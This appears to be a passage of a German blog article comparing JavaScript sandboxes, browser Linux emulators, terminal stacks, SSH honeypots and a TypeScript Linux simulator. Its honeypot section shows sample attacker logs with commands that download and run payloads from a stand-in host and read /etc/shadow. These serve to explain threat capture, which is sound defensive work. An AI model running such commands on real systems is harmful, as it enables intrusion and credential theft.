| | vm | vm2 | isolated-vm | quickjs-emscripten | Deno Workers | |---|---|---|---|---|---|---| | Isolationsgrenze | keine (nur Scope) | Proxy (kaputt) | V8 Isolate | Wasm | V8 Isolate + Rust-Berecht. | | Speicherlimit | ❌ | ❌ | ✅ hartes Limit | ✅ Wasm-Heap | teilweise | | CPU-Timeout | ❌ | ✅ (umgehbar) | ✅ hart | ✅ | ✅ | | Sicherheit | keine | kaputt | stark | stark | stark | | JS-Geschwindigkeit | natives V8 | natives V8 | natives V8 | ~10x langsamer | natives V8 | | Browser | ❌ | ❌ | ❌ | ✅ | ❌ | | Node-Kompat. | nativ | ✅ | ✅ | teilweise Shims | teilweise | | Status | stabil | riskant (neue CVEs) | ✅ aktiv | ✅ aktiv | ✅ aktiv | | RAM-Overhead | ~1 MB | ~5–20 MB | ~3–10 MB | ~5–15 MB | ~10–30 MB |

Die Erkenntnis: Wenn dir Sicherheit wichtig ist, gibt es genau zwei echte Optionen – isolated-vm (Native Addon, V8 Isolate, volle JS-Geschwindigkeit) und quickjs-emscripten (Wasm, browserkompatibel, ~10x langsamer für rechenintensiven Code). Alles andere ist entweder „bitte nicht" (vm, vm2) oder eine Runtime, die ein völlig anderes Problem löst (Deno). ShadowRealm könnte dieses Bild irgendwann ändern, aber es ist noch nicht so weit.


Teil 2 – Linux-Emulatoren in JavaScript

Hier wird es für mich richtig interessant. Das sind echte Emulatoren – sie implementieren einen CPU-Befehlssatz in JavaScript oder WebAssembly, booten ein echtes Linux-Kernel-Image und führen echte Userland-Binaries aus. Die Isolation kommt daher, dass Gast und Host nichts teilen: unterschiedliche Speicherbereiche, unterschiedliche Befehlsströme.

Der Preis, den du zahlst, ist enorm, aber was du bekommst, ist wirklich bemerkenswert: echtes Linux, tatsächlich laufend, in deinem Browser oder Node-Prozess. Das ist ziemlich verrückt, wenn man darüber nachdenkt, oder?

2.1 v86 – x86-PC-Emulator in JS + Wasm JIT

v86 von Fabrice (Copy auf GitHub) ist der leistungsfähigste Open-Source-x86-Emulator in JavaScript. Es begann um 2013 als reiner JS-Interpreter und hat sich zu einem JIT-kompilierten System entwickelt, bei dem x86-Basisblöcke on-the-fly zu WebAssembly übersetzt werden, was die Leistung dramatisch verbessert.

Was es emuliert:

  • CPU: x86-32 (IA-32), Befehlssatz ungefähr auf Pentium-1-Niveau. Keine 64-Bit (x86-64) Unterstützung – das ist eine harte architektonische Grenze, kein fehlendes Feature.
  • FPU: über JavaScripts Float64Array. x87 ist 80-Bit erweiterte Genauigkeit; JS-Doubles sind 64-Bit. Das bedeutet, dass Fließkomma-Ergebnisse geringfügig von einer echten CPU abweichen können.
  • Speicher: konfigurierbar, wird auf ein SharedArrayBuffer oder ArrayBuffer im JS-Heap abgebildet.
  • Hardware: 8254 PIT (Timer), 8259 PIC (Interrupt-Controller), 8042 Tastatur-Controller (PS/2), CMOS RTC, VGA mit SVGA-Erweiterungen und Bochs VBE, IDE-Controller, Disketten-Controller (8272A), NE2000-Netzwerkkarte.
  • BIOS: verwendet SeaBIOS (Open-Source-x86-BIOS).

Der JIT funktioniert, indem er Basisblöcke (Sequenzen von x86-Befehlen ohne Sprünge) identifiziert, sie in eine WebAssembly-Funktion übersetzt, diese Funktion cached und sie bei späteren Ausführungen desselben Blocks aufruft. Heiße Codepfade erreichen native Wasm-Leistung. Kalte Pfälle fallen auf den JS-Interpreter zurück.

import { V86 } from "v86";
import { readFileSync } from "fs";

const emulator = new V86({
  bios:    { buffer: readFileSync("./bios/seabios.bin") },
  vga_bios:{ buffer: readFileSync("./bios/vgabios.bin") },
  hda:     { buffer: readFileSync("./images/alpine.img"), async: false },
  memory_size: 128 * 1024 * 1024, // 128 MB
  autostart: true,
});

// Serial-Ausgabe erfassen (Linux-Kernel-Konsole)
emulator.add_listener("serial0-output-byte", byte => {
  process.stdout.write(String.fromCharCode(byte));
});

// Eingabe an den Gast senden (in die Shell tippen)
emulator.serial0_send("ls /\n");

Unterstützte Betriebssysteme: Alpine Linux (exzellent), Ubuntu 16.04/18.04 (nur i386), Arch Linux 32, ReactOS, FreeDOS, Windows 9x/2000 (mit Einschränkungen), MS-DOS.

Boot-Zeit: 15–40 Sekunden für Alpine Linux von einem sauberen Image. Das ist der echten Kernel-Initialisierung geschuldet – du kannst es nicht überspringen. Ja, deine Benutzer werden dasitzen und zusehen, wie ein Kernel-Boot-Sequenz in ihrem Browser abläuft. So ist das xD

Speicherbedarf: 100–256 MB pro Instanz. Allein der Wasm-JIT-Code-Cache kann für eine ausgelastete Linux-Instanz Dutzende MB erreichen.

Node.js-Nutzung: voll unterstützt. Kein DOM nötig – VGA-Ausgabe kann verworfen werden, wenn dich nur die serielle Ausgabe interessiert.

Was du nicht tun kannst: 64-Bit-Binaries ausführen, moderne Kernel-Features (eBPF, io_uring, etc.) verwenden oder mehr als eine handvoll Instanzen gleichzeitig laufen lassen, ohne Speicherlimits zu erreichen.

npm: v86 – kontinuierlich aktualisiert, letzte Veröffentlichung innerhalb des letzten Tages zum Zeitpunkt des Schreibens.
GitHub: copy/v86
Demo: copy.sh/v86


2.2 JSLinux und TinyEMU – Bellards Arbeit, zweimal

JSLinux ist Fabrice Bellards eigener JavaScript-Linux-Emulator – der erste überhaupt, veröffentlicht 2011. Ich erwähne Bellard in diesem Artikel immer wieder, weil er einfach ständig auftaucht: QuickJS, TinyEMU, JSLinux, QEMU, FFmpeg. Der Mann ist etwas Besonderes. Ehrlich einer der beeindruckendsten einzelnen technischen Beiträge in der Softwaregeschichte, keine Übertreibung.

Das ursprüngliche JSLinux war ein reiner JS-x86-Interpreter. 2016 schrieb Bellard TinyEMU (einen RISC-V-Emulator in C), kompilierte es über Emscripten zu JavaScript, und das wurde zur Basis des heutigen JSLinux. Der aktuelle JSLinux ist also eigentlich C-Code, der JavaScript generiert – nicht handgeschriebenes JS.

Die technischen Notizen auf Bellards Seite sind lesenswert: Der aktuelle JSLinux läuft eine 32- oder 64-Bit-RISC-V-CPU (nicht x86) und emuliert VirtIO-Konsole, VirtIO-Netzwerk, VirtIO-Blockgerät und ein 9P-Dateisystem zur Dateifreigabe mit dem Host. Die JS-Demo ist mit Emscripten aus C kompiliert – es ist kein handgeschriebenes JS.

TinyEMU selbst unterstützt:

  • RISC-V RV32IMAFDQC und RV64IMAFDQC (32 und 64-Bit, mit Float, Multiply, komprimierten Befehlen)
  • x86 über KVM (nur nativ, keine Emulation – die JS-Version ist also nur RISC-V)
  • VirtIO-Konsole, Netzwerk, Block, Eingabe, 9P-Dateisystem

TinyEMU hat eine über Emscripten bereitgestellte JavaScript-Demo. Es ist die Basis für JSLinux und wird auch von container2wasm verwendet (siehe Abschnitt 2.5).

JSLinux-Status: kein npm-Paket, keine programmatische API. Es ist eine Demo, die du im Browser öffnest. Die historische Bedeutung ist hoch – es hat das Konzept bewiesen. Praktische Nutzung als Bibliothek: keine.

TinyEMU: nicht auf npm, C-Quelle verfügbar unter bellard.org/tinyemu.


2.3 jor1k – OR1K-Emulator

jor1k ist ein OpenRISC 1000 (OR1K)-Emulator, geschrieben in JavaScript von Sebastian Macke. Es ist historisch interessant, weil jor1k die VirtIO-9P-Dateisystemunterstützung eingeführt hat, die Bellard später in TinyEMU und JSLinux integriert hat. Die gegenseitige Befruchtung zwischen diesen Projekten ist eng – sie leihen alle voneinander, was ehrlich gesagt eines der coolsten Dinge an Open-Source-Emulationsarbeit ist.

Status: wird nicht mehr aktiv gepflegt, kein npm-Paket. Mittlerweile archiviert. Wissenswert hauptsächlich aus historischem Kontext – falls jemand jor1k in einem Gespräch erwähnt, weißt du jetzt, was es ist :)


2.4 CheerpX – kommerzieller x86-Emulator für den Browser

CheerpX von Leaning Technologies ist der kommerzielle, produktionsreife x86-Linux-Emulator. Er ist nicht Open Source, aber deutlich leistungsfähiger als v86 für das Ausführen von echtem Debian/Ubuntu-Userland. Wenn du echtes VSCode im Browser brauchst, ist das das Richtige.

Wichtige Unterschiede zu v86:

  • Unterstützt einen breiteren ISA (mehr x86-Erweiterungen, bessere glibc-Kompatibilität)
  • IndexedDB-gestütztes Dateisystem im Browser (persistent über Seitenladevorgänge hinweg)
  • pthread-Unterstützung über SharedArrayBuffer (erfordert COOP/COEP-Header – ja, diese nervigen Sicherheitsheader)
  • Entwickelt zum Ausführen von VSCode, Python, Node.js und anderen echten Anwendungen – nicht nur minimale OS-Images
  • Professioneller Support und SLA verfügbar (auch bekannt als: du kannst jemanden anschreien, wenn es kaputt geht)

Der typische Anwendungsfall ist „eine echte Linux-Anwendung ohne Server im Browser ausführen." Unternehmen nutzen es für browserbasierte IDEs, Programmier-Tutorials und interaktive Dokumentationen.

// CheerpX API (vereinfacht)
const cx = await CheerpX.Linux.create({
  mounts: [{ type: "ext2", path: "/", dev: CloudDevice.create(...) }],
});
await cx.run("/bin/bash");

Node.js-Geschichte: CheerpX ist Browser-first. Der zugrunde liegende Emulator würde theoretisch in Node funktionieren (es ist Wasm), aber die API und Dokumentation sind vollständig auf die Browser-Nutzung ausgerichtet. Serverseitige Nutzung wird nicht unterstützt.

Speicher: ähnlich wie v86 – 200+ MB für eine echte Debian-Instanz.
Preisgestaltung: kostenlos für Open-Source-Projekte, kommerzielle Lizenz für Produktions-SaaS.
Dokumentation: cheerpx.io/docs/overview


2.5 WebContainers (StackBlitz) – Node.js in Wasm, keine Linux-Emulation

WebContainers werden oft mit Linux-Emulatoren in einen Topf geworfen, sind aber architektonisch anders. Sie emulieren kein x86. Sie booten kein Linux. Sie führen Node.js aus, das mit WASI zu WebAssembly kompiliert wurde. Diese Unterscheidung ist sehr wichtig, und ich war selbst viel zu lange verwirrt darüber lol.

Ich glaube, die Verwirrung kommt vom Marketing – „Node.js in deinem Browser ausführen" klingt nach Emulation, aber es ist tatsächlich Node.js selbst, kompiliert zu Wasm, keine Linux-Emulation, die Node.js in einer VM ausführt. Ein völlig anderes Ding.

Die Architektur:

  1. Node.js wird zu Wasm kompiliert (genauer gesagt eine benutzerdefinierte WASI-Runtime)
  2. Ein Service Worker fängt Netzwerkanfragen vom emulierten Node.js-Server ab und leitet sie an den Browser-Tab weiter
  3. Das Dateisystem lebt im Browser-Speicher (keine Festplatten-E/A)
  4. npm ist eine benutzerdefinierte Implementierung, die für die Nutzung im Browser optimiert ist
import { WebContainer } from "@webcontainer/api";

const webcontainer = await WebContainer.boot();

// Dateien schreiben
await webcontainer.mount({
  "index.js": { file: { contents: `console.log("hello")` } },
  "package.json": { file: { contents: `{"name":"demo","type":"module"}` } }
});

// Node.js-Befehle ausführen
const proc = await webcontainer.spawn("node", ["index.js"]);
proc.output.pipeTo(new WritableStream({ write: chunk => console.log(chunk) }));

Weil es echtes Node.js (Wasm-kompiliert) ausführt, bekommst du echtes npm, echte Node.js-APIs und echte Modulauflösung. Du bekommst kein allgemeines Linux-Userland – du kannst keine Systempakete mit apt installieren, keine beliebigen kompilierten Binaries ausführen oder viel außerhalb des Node.js-Ökosystems tun.

Browser-Anforderungen: SharedArrayBuffer (erfordert COOP/COEP-Header), Service Worker-Unterstützung, modernes Wasm.

Node.js-Geschichte: ausschließlich für die Browser-Nutzung konzipiert. Die API funktioniert nicht außerhalb eines Browser-Kontexts.

npm: @webcontainer/api
Dokumentation: webcontainers.io


2.6 container2wasm – Docker-Container kompiliert zu Wasm

container2wasm ist ein Tool (kein npm-Paket) von NTT, das ein Docker-Container-Image nimmt und in ein WebAssembly-Binary umwandelt, das in jedem Wasm-Host ausgeführt werden kann – einschließlich eines Browsers. Als ich das zum ersten Mal sah, habe ich nicht geglaubt, dass es funktioniert.

Der Mechanismus:

  • Für x86_64-Container: Bettet Bochs (einen x86-Emulator, kompiliert zu Wasm) + das Root-Dateisystem des Containers ein
  • Für riscv64-Container: Bettet TinyEMU (schon wieder Bellard!) + das Root-Dateisystem des Containers ein
  • Die resultierende .wasm-Datei bootet den Emulator, mountet das Container-Dateisystem und führt den Entrypoint des Containers aus
# Ubuntu 22.04 Container zu Wasm konvertieren
c2w ubuntu:22.04 out.wasm

# Ausführen
wasmtime out.wasm uname -a
# Linux 5.15.0 #1 SMP riscv64 GNU/Linux

# Oder für die Browser-Nutzung bereitstellen
c2w --to-js ubuntu:22.04 /tmp/htdocs/

Das resultierende .wasm ist groß – ein minimales Ubuntu ist mehrere hundert MB – aber es ist vollständig in sich geschlossen. Du kannst jemandem ein .wasm mailen und er kann Ubuntu in seinem Browser ausführen. Dieser Satz sollte keinen Sinn ergeben, aber hier sind wir.

GitHub: container2wasm/container2wasm


Emulator-Familien-Zusammenfassung

v86 JSLinux/TinyEMU jor1k CheerpX WebContainers container2wasm
Architektur x86-32 JIT→Wasm RISC-V (Wasm) OR1K (JS) x86 (proprietär) Node.js→Wasm/WASI x86/RISC-V (Wasm)
Echter Kernel ✅ ✅ ✅ ✅ ❌ (Node.js) ✅
64-Bit ❌ ✅ (RISC-V) ❌ ✅ n/a ✅
npm-Paket ✅ ❌ ❌ CDN/API ✅ ❌ (CLI-Tool)
Node.js-Nutzung ✅ ❌ ❌ ❌ ❌ (nur Browser) via Wasmtime
Browser-Nutzung ✅ ✅ ✅ ✅ ✅ ✅
RAM/Instanz 150–256 MB ~64–128 MB ~64 MB 200+ MB ~100 MB ~200–500 MB
Boot-Zeit 15–40s 10–30s 10–30s 15–40s 2–5s 10–40s
Open Source ✅ ✅ ✅ ❌ teilweise ✅
Status ✅ sehr aktiv ✅ stabil ⚠️ archiviert ✅ kommerziell ✅ aktiv ✅ aktiv

Was aus dieser Tabelle heraussticht: v86 ist das einzige, das ein npm-Paket ist, sowohl im Browser als auch in Node läuft und Open Source ist. Deshalb dominiert es die „JavaScript-Linux-Emulator"-Diskussion. Alles andere hat einen Haken – JSLinux hat keine API, jor1k ist archiviert, CheerpX kostet Geld, WebContainers ist nur für den Browser und Node-spezifisch, container2wasm erfordert einen Build-Schritt und ein CLI. Wenn du einfach nur „Linux in JavaScript booten" willst, ist v86 fast immer der richtige Ausgangspunkt.


Teil 3 – Terminal-Stacks: xterm.js und node-pty

Zwei Pakete tauchen ständig auf, wenn Leute Shell-ähnliche Erfahrungen bauen. Sie sind keine Sandboxes oder Emulatoren – sie sind die UI- und PTY-Infrastruktur – aber sie sind so angrenzend, dass ich sie schlecht weglassen könnte. Außerdem habe ich beide verwendet und sie sind wirklich gut.

3.1 xterm.js – der Terminal-Renderer

xterm.js ist ein Terminal-Emulator für den Browser. Er rendert einen Terminal-Bildschirm (VT100/xterm-Escape-Sequenzen) in einem <canvas>-Element, verarbeitet Tastatureingaben und bietet eine API zum Ein- und Ausleiten von Daten.

Verwendet von: VS Codes integriertem Terminal, Azure Cloud Shell, Proxmox VE, AWS CloudShell und vielen anderen.

import { Terminal } from "@xterm/xterm";
import { FitAddon } from "@xterm/addon-fit";

const term = new Terminal({ cursorBlink: true });
const fitAddon = new FitAddon();
term.loadAddon(fitAddon);
term.open(document.getElementById("terminal"));
fitAddon.fit();

// Daten an das Terminal senden (als Text gerendert)
term.write("$ ");
term.onData(data => {
  // data sind Tastendrücke – an dein Backend senden
  socket.send(data);
});
socket.onmessage(msg => {
  // Ausgabe vom Backend – anzeigen
  term.write(msg.data);
});

xterm.js ist nur die Rendering-Schicht. Es führt keine Shell aus. Es interpretiert keine Befehle. Es ist ein Anzeige-Widget, das du mit jedem Backend verbinden kannst, das du willst. Viele Leute denken, xterm.js „macht das Terminal", aber es ist wirklich nur der Bildschirm – du musst es immer noch mit etwas verbinden, das tatsächlich Befehle ausführt.

npm: @xterm/xterm
GitHub: xtermjs/xterm.js


3.2 node-pty – PTY-Erzeugung

node-pty erzeugt ein Pseudoterminal (PTY) in Node.js und gibt dir ein Lese-/Schreib-Handle darauf. In Verbindung mit xterm.js kannst du ein Browser-Terminal bauen, das mit einer echten Shell (bash, zsh, fish) auf dem Server spricht.

import * as pty from "node-pty";

const shell = pty.spawn("bash", [], {
  name: "xterm-color",
  cols: 80,
  rows: 30,
  cwd: process.env.HOME,
  env: process.env,
});

shell.onData(data => {
  // An xterm.js im Browser per WebSocket senden
  ws.send(data);
});

ws.on("message", data => {
  // Tastendrücke vom Browser an die Shell weiterleiten
  shell.write(data);
});

Das ist das Standardmuster für Cloud-IDEs und Web-Terminals: xterm.js (Browser) ↔ WebSocket ↔ node-pty ↔ echte Bash. Keine Isolation. Die Shell läuft mit den vollen Berechtigungen des Node.js-Prozesses (oder des Benutzers, der sie ausführt).

Gepflegt von: Microsoft.
npm: node-pty
GitHub: microsoft/node-pty


Teil 4 – SSH-Honeypots

Honeypots sind dazu da, angegriffen zu werden. Das Ziel ist, echt genug auszusehen, dass Angreifer mit ihnen interagieren, während alles aufgezeichnet wird, was sie tun, für die Bedrohungsanalyse. SSH ist das primäre Ziel, weil es der am meisten angegriffene Dienst im Internet ist – wenn du Port 22 auf einer öffentlichen IP freigibst, wirst du innerhalb von Minuten automatisierte Scan-Versuche sehen. Probier es mal aus, es irgendwie erschreckend, wie schnell das passiert.

Die Qualität eines Honeypots wird an zwei Dingen gemessen: Wiedergabetreue (wie überzeugend er vorgibt, ein echtes System zu sein) und Telemetrie (wie viele nützliche Daten er erfasst). Diese stehen in Spannung. Ein Honeypot mit hoher Wiedergabetreue ist schwerer zu bauen und riskanter zu betreiben.

Dieser Abschnitt hat mich letztendlich dazu gebracht, das HoneyPot-Modul in typescript-virtual-container zu bauen, also habe ich hier einige Meinungen.

4.1 Cowrie – der Goldstandard

Cowrie ist ein Python-basierter Medium-to-High-Interaction-SSH- und Telnet-Honeypot. Er ist der am weitesten verbreitete SSH-Honeypot in der Forschungs- und Sicherheits-Community.

Architektur:

  • Protokollschicht: echte SSH-Protokollimplementierung (Twisted Conch), also bekommen Angreifer echte Handshakes, echten Schlüsselaustausch, echte Authentifizierung
  • Shell-Schicht: ein gefälschtes Dateisystem (ähnlich Debian 5.0) und ein partieller Shell-Interpreter, der auf gängige Befehle reagiert
  • Proxy-Modus: kann an ein echtes System dahinter weiterleiten (High-Interaction-Modus) und zeichnet alles auf, was durchfließt
  • LLM-Modus (neue Ergänzung): verwendet ein Sprachmodell, um dynamische Antworten auf Befehle zu generieren, die es nicht zu verarbeiten weiß – ja, Cowrie hat jetzt einen KI-Modus. Verrückte Zeiten.
# Was Cowrie erfasst
{
  "timestamp": "2024-01-15T03:22:11.847Z",
  "src_ip": "45.33.32.156",
  "username": "root",
  "password": "123456",
  "session": "abc123",
  "commands": [
    "uname -a",
    "cat /etc/passwd",
    "wget http://malicious.example/bot.sh",
    "chmod +x bot.sh",
    "./bot.sh"
  ],
  "files_downloaded": ["bot.sh"]
}

Cowrie speichert heruntergeladene Dateien (via wget/curl/SFTP/SCP) zur Malware-Analyse. Es integriert sich mit Splunk, Elasticsearch und anderen SIEM-Plattformen.

Wiedergabetreue: mittel-hoch. Überzeugend genug, um automatisierte Bots zu täuschen (was 99% der SSH-Angreifer sind – die meisten sind nur dumme Skripte, die root/password versuchen). Anspruchsvolle Menschen können es jedoch fingerabtasten, normalerweise ziemlich schnell.

Sprache: Python (Twisted)
GitHub: cowrie/cowrie


4.2 Kippo – Cowries Vorgänger

Kippo ist der ursprüngliche Medium-Interaction-SSH-Honeypot, auf dem Cowrie basierte. Gleiche Grundidee: echtes SSH-Protokoll, gefälschtes Dateisystem, partielle Shell. Cowrie hat es inzwischen vollständig abgelöst – Kippo ist archiviert und niemand sollte es 2026 mehr betreiben. Hier nur aus historischer Vollständigkeit erwähnt, falls du es in alten Blogbeiträgen und Sicherheitspapieren siehst.

GitHub: desaster/kippo – archiviert


4.3 endlessh – die SSH-Tarpit

endlessh ist ein degenerierter Honeypot: Es hält SSH-Verbindungen offen, indem es langsam Banner-Daten mit 1 Byte pro Sekunde (oder langsamer) ausgibt. Ein SSH-Client, der sich damit verbindet, hängt auf unbestimmte Zeit – er wird nie zur Authentifizierung gelangen, weil der Server das Senden des Banners nie beendet.

Das Ziel ist nicht Bedrohungsanalyse, sondern reine Ressourcenverweigerung: Die Scanner-Threads von Angreifern zu binden, damit sie echte Ziele nicht so schnell treffen können. Es ist ehrlich gesagt irgendwie böse im besten Sinne. Du lernst nichts vom Angreifer – du verschwendest nur seine Zeit. Da ist etwas zutiefst Befriedigendes dran.

// endlesshs gesamtes Protokollverhalten:
// Senden: "SSH-2.0-OpenSSH_" dann langsam zufällige Zeichen anhängen
// Verbindung niemals schließen
// Angreifer-Scanner timeoutet nach N Sekunden

Es werden keine Befehle erfasst. Keine Authentifizierung wird getestet. Nur Verbindungszeit.

Geschrieben in: C
GitHub: skeeto/endlessh


4.4 sshesame – der „lass alle rein"-Honeypot

sshesame akzeptiert jede SSH-Verbindung (beliebiger Benutzername, beliebiges Passwort, beliebiger Schlüssel) und protokolliert alles. Es ist ein Zero-Interaction-Honeypot: Es reagiert nicht auf Befehle, lässt Angreifer einfach „rein" und zeichnet jeden Tastendruck auf, den sie eingeben.

2024-01-15 03:22:11 Connection from 45.33.32.156
  Username: root, Password: password123 -- accepted
  Commands typed:
    cat /etc/shadow
    wget http://malicious.example/miner
    uname -a
  Disconnected after 47s

Nützlich für die Erfassung von Zugangsdaten: Du sammelst schnell die Benutzernamen und Passwörter, die Bots ausprobieren, was dir sagt, welche Standard-Zugangsdaten derzeit aktiv brute-forciert werden. Spoiler: Es ist immer root/password, admin/admin und root/123456. Jedes Mal.

GitHub: jaksi/sshesame


4.5 Lyrebird – Docker-basiertes Honeypot-Framework

lyrebird/honeypot-base ist ein Docker-Basis-Image zum Bauen von Netzwerkdienst-Honeypots. Es ist nicht spezifisch ein SSH-Honeypot – es ist ein Framework zum Bauen von Honeypots für jedes Protokoll.

Das Basis-Image bietet ein Logging-Framework, ein Plugin-System für Protokolle und Docker-Compose-Setups für Multi-Service-Honeypots. Du erweiterst es, um spezifische Dienste vorzutäuschen.

Docker Hub: lyrebird/honeypot-base


4.6 Einen SSH-Honeypot in Node.js bauen – der naive Weg und warum er scheitert

Vor typescript-virtual-container bedeutete das Bauen eines SSH-Honeypots in Node.js, die echte ssh2-Bibliothek mit manuellem Command-Faking zu kombinieren. Sehr mühsam, sehr unvollständig, aber... es ist irgendwie ein Initiationsritus:

import { Server } from "ssh2";
import { readFileSync } from "fs";
import { appendFileSync } from "fs";

const hostKey = readFileSync("./host.key");

new Server({ hostKeys: [hostKey] }, client => {
  client.on("authentication", ctx => {
    // Log the attempt
    appendFileSync("creds.log", `${ctx.username}:${ctx.credentials?.password}\n`);
    ctx.accept(); // Let everyone in
  });

  client.on("ready", () => {
    client.on("session", (accept) => {
      const session = accept();
      session.on("shell", accept => {
        const stream = accept();
        stream.write("Last login: Mon Jan 15 03:00:00 2024 from 10.0.0.1\r\n");
        stream.write("root@ubuntu:~# ");
        stream.on("data", data => {
          const cmd = data.toString().trim();
          appendFileSync("commands.log", `${cmd}\n`);
          // Fake response
          if (cmd === "uname -a") {
            stream.write("\r\nLinux ubuntu 5.15.0-91-generic #101-Ubuntu x86_64 GNU/Linux\r\n");
          } else {
            stream.write(`\r\n${cmd}: command not found\r\n`);
          }
          stream.write("root@ubuntu:~# ");
        });
      });
    });
  });
}).listen(2222);

Das „funktioniert" in dem Sinne, dass es Zugangsdaten und Befehle erfasst. Aber es ist offensichtlich gefälscht, sobald ein ausgefeilter Angreifer daran herumstochert. uname -a, das den richtigen String zurückgibt, aber ls /etc „command not found" zurückgibt, ist ein deutliches Zeichen. Das Dateisystem existiert nicht. Befehle verketten sich nicht. Pipes funktionieren nicht. Variablen werden nicht expandiert.

Ein erfahrener Angreifer wird deinen Honeypot in den ersten fünf Befehlen identifizieren. Automatisierte Skripte, die auf Cowrie-ähnliches Verhalten prüfen, werden es ebenfalls sofort erkennen. Das war scheinbar der Grund, der die Autorin von typescript-virtual-container dazu gebracht hat, etwas zu bauen, das Befehle tatsächlich interpretiert – mehr dazu in Teil 5.


Honeypot-Familien-Zusammenfassung

Cowrie Kippo endlessh sshesame Lyrebird Naives ssh2
Interaktionslevel mittel-hoch mittel null null variiert niedrig
Echtes SSH-Protokoll ✅ ✅ ❌ (Tarpit) ✅ variiert ✅
Shell-Wiedergabetreue mittel mittel n/a keine variiert minimal
Erfasst Zugangsdaten ✅ ✅ ❌ ✅ ✅ ✅
Erfasst Befehle ✅ ✅ ❌ ✅ variiert ✅
Erfasst Malware ✅ ✅ ❌ ❌ ❌ ❌
SIEM-Integration ✅ nativ ❌ ❌ ❌ ❌ manuell
LLM-Antworten ✅ (neu) ❌ ❌ ❌ ❌ ❌
Sprache Python Python C Go Docker Node.js
Node.js-nativ ❌ ❌ ❌ ❌ ❌ ✅
Status ✅ sehr aktiv ⚠️ archiviert ✅ aktiv ✅ aktiv ✅ aktiv DIY

Das Muster ist ziemlich klar: Je mehr Wiedergabetreue du willst, desto mehr Python musst du schreiben. Cowrie ist der klare Gewinner, wenn du es ernst meinst – es ist seit Jahren kampferprobt und erfasst weit mehr als nur Zugangsdaten. endlessh und sshesame sind eher lustige Nebenprojekte als ernsthafte Threat-Intelligence-Tools. Und der naive Node.js-Ansatz bringt dich vielleicht 20% der Strecke, bevor du an eine Wand stößt.


Teil 5 – typescript-virtual-container: Was die Lücke füllt

OK, hier wird es interessant. Nachdem ich alle oben genannten Familien katalogisiert habe, wird das fehlende Quadrant ziemlich offensichtlich:

  • JS-Sandboxes: isolieren Code, keine Shell, kein Dateisystem, kein SSH
  • Linux-Emulatoren: echtes OS, echte Shell, echtes SSH... aber 150+ MB RAM, 30-Sekunden-Boot, und du musst deine eigene API auf serieller E/A aufbauen
  • Honeypots: gefälschte Shell, keine programmatische API, Python/Go/C, nicht Node-nativ

Niemand hatte eine vollständige, programmatische, Node-native Linux-Umgebung mit echtem SSH, echten Berechtigungen, echtem virtuellem Netzwerk und einer typisierten TypeScript-API gebaut. Also hat sie es gebaut.

Kurze Vorstellung, da ich sie hier zum ersten Mal richtig erwähne: typescript-virtual-container wurde von Chloé Rolzhausen gebaut, einer französischen Entwicklerin, die online als Fortune (oder ItsRealFortune) bekannt ist. Du findest sie auf ihrer Website und auf LinkedIn. Das gesamte Projekt – 56.000 Zeilen TypeScript, 247 Dateien, 170 Befehle – war eine Solo-Leistung einer einzigen Person. Ich werde sie für den Rest des Artikels Fortune nennen. Und ja, es ist irgendwie verrückt. Schau dir ihre Sachen an!

Was es tatsächlich ist

typescript-virtual-container ist ein Linux-Umgebungs-Simulator, geschrieben in reinem TypeScript. Kein Wasm. Keine nativen Addons. Kein Kernel. ~56.000 Zeilen Quellcode in 247 TypeScript-Dateien.

Die entscheidende Erkenntnis: Du brauchst keinen CPU-Emulator, damit ls /etc | grep passwd funktioniert. Du brauchst:

  1. Einen Baum von Knoten im Speicher, die auf Pfadoperationen reagieren
  2. Ein POSIX-Berechtigungsmodell, das bei jedem Zugriff durchgesetzt wird
  3. Einen Shell-Parser, der Pipes, Umleitungen, Subshells und Variablenexpansion versteht
  4. ~170 Befehlsimplementierungen (Funktionen, keine Binaries)
  5. Ein Benutzer- und Gruppenverwaltungssystem
  6. Etwas, um das alles über SSH zugänglich zu machen

All das ist in reinem TypeScript ohne Kernel-Beteiligung erreichbar.

Das VirtualFileSystem

Das VFS ist ein speicherinterner Baum von typisierten Knoten – keine Festplatten-E/A, es sei denn, du aktivierst explizit den "fs"-Persistenzmodus:

// Simplified internal representation
type InternalNode =
  | { type: "file"; content: string | Uint8Array; mode: number; uid: number; gid: number; mtime: number }
  | { type: "dir"; children: Map<string, InternalNode>; mode: number; uid: number; gid: number }
  | { type: "symlink"; target: string }
  | { type: "device"; kind: "char" | "block"; read(): string; write(data: string): void }
  | { type: "stub" }; // lazy-loaded placeholder

Jede Pfadoperation durchläuft normalizePath (löst ., .., Symlinks auf) und enforceAccess (prüft Lese-/Schreib-/Ausführungsberechtigung gegen die anfragende uid/gid). chmod, chown, Sticky Bits und setuid sind alle implementiert und werden tatsächlich durchgesetzt. Wenn ein Prozess, der als uid 1000 läuft, versucht, eine Datei zu lesen, die root mit Modus 0600 gehört, bekommt er EACCES – kein gefakter EACCES, ein echter JavaScript Error, der von der Berechtigungsprüfung ausgelöst wird. Dieser Teil ist ziemlich elegant, ehrlich gesagt.

Das VFS serialisiert zu:

  • .vfsb – ein kompaktes binäres Format (benutzerdefiniert, mit fflate-Komprimierung) – das ist die Standardeinstellung
  • JSON-Snapshot – menschenlesbar, gut zum Debuggen
  • TAR-Archiv – Import/Export mit echtem tar-Format, sodass du tar -xf etwas ausführen kannst und das VFS einfach... diese Dateien hat
  • SquashFS-Image – schreibgeschützter Import

Im "fs"-Persistenzmodus führt es ein Write-Ahead-Journal (WAL) zur Crash-Wiederherstellung – Schreibvorgänge gehen zuerst ins Journal, dann beim Flush in den Snapshot. Wenn Node mitten in einer Operation abstürzt, kannst du mit dem Journal den letzten vollständigen Zustand rekonstruieren.

Es gibt auch eine FileCache-Schicht, die Festplatten-E/A-Latenz simuliert. Du konfigurierst Profile wie NVME_DISK_IO oder HDD_DISK_IO und das VFS verzögert Dateioperationen künstlich, um realistische Zeitvorgaben zu erreichen. Was irgendwie lustig ist – Software, die sich absichtlich verlangsamt, um Hardware zu simulieren – aber tatsächlich sehr nützlich für Benchmarking.

Der Shell-Interpreter

Der Shell-Parser produziert einen typisierten AST:

// "ls /etc | grep root && echo done" parses to:
{
  type: "statement",
  pipeline: [
    { name: "ls", args: ["/etc"], redirects: [] },
    { name: "grep", args: ["root"], redirects: [] }
  ],
  next: {
    op: "&&",
    statement: {
      type: "statement",
      pipeline: [{ name: "echo", args: ["done"], redirects: [] }],
      next: null
    }
  }
}

Der Executor durchläuft diesen AST:

  • Für eine Pipeline erstellt er eine Kette von { stdin, stdout, stderr }-Streams und führt jeden Befehl mit gepipe-ter E/A aus
